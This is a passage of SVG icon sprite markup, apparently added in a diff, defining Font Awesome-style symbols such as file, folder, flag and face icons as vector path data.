136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"></path> + </symbol> + <symbol id="file-video" viewBox="0 0 384 512"> + <path d="M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z"></path> + </symbol> + <symbol id="file-word" viewBox="0 0 384 512"> + <path d="M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"></path> + </symbol> + <symbol id="fill" viewBox="0 0 512 512"> + <path d="M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z"></path> + </symbol> + <symbol id="fill-drip" viewBox="0 0 576 512"> + <path d="M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z"></path> + </symbol> + <symbol id="film" viewBox="0 0 512 512"> + <path d="M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"></path> + </symbol> + <symbol id="filter" viewBox="0 0 512 512"> + <path d="M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z"></path> + </symbol> + <symbol id="fingerprint" viewBox="0 0 512 512"> + <path d="M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z"></path> + </symbol> + <symbol id="fire" viewBox="0 0 384 512"> + <path d="M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z"></path> + </symbol> + <symbol id="fire-alt" viewBox="0 0 448 512"> + <path d="M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z"></path> + </symbol> + <symbol id="fire-extinguisher" viewBox="0 0 448 512"> + <path d="M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z"></path> + </symbol> + <symbol id="first-aid" viewBox="0 0 576 512"> + <path d="M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="fish" viewBox="0 0 576 512"> + <path d="M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="fist-raised" viewBox="0 0 384 512"> + <path d="M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z"></path> + </symbol> + <symbol id="flag" viewBox="0 0 512 512"> + <path d="M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z"></path> + </symbol> + <symbol id="flag-checkered" viewBox="0 0 512 512"> + <path d="M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z"></path> + </symbol> + <symbol id="flag-usa" viewBox="0 0 512 512"> + <path d="M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z"></path> + </symbol> + <symbol id="flask" viewBox="0 0 448 512"> + <path d="M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z"></path> + </symbol> + <symbol id="flushed" viewBox="0 0 496 512"> + <path d="M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z"></path> + </symbol> + <symbol id="folder" viewBox="0 0 512 512"> + <path d="M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z"></path> + </symbol> + <symbol id="folder-minus" viewBox="0 0 512 512"> + <path d="M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z"></path> + </symbol> + <symbol id="folder-open" viewBox="0 0 576 512"> + <path d="M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z"></path> + </symbol> + <symbol id="folder-plus" viewBox="0 0 512 512"> + <path d="M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z"></path> + </symbol> + <symbol id="font" viewBox="0 0 448 512"> + <path d="M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z"></path> + </symbol> + <symbol id="font-awesome-logo-full" viewBox="0 0 3992 512"> + <path d="M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"></path> + </symbol> + <symbol id="football-ball" viewBox="0 0 496 512"> + <path d="M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z"></path> + </symbol> + <symbol id="forward" viewBox="0 0 512 512"> + <path d="M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z"></path> + </symbol> + <symbol id="frog" viewBox="0 0 576 512"> + <path d="M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="frown" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z"></path> + </symbol> + <symbol id="frown-open" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 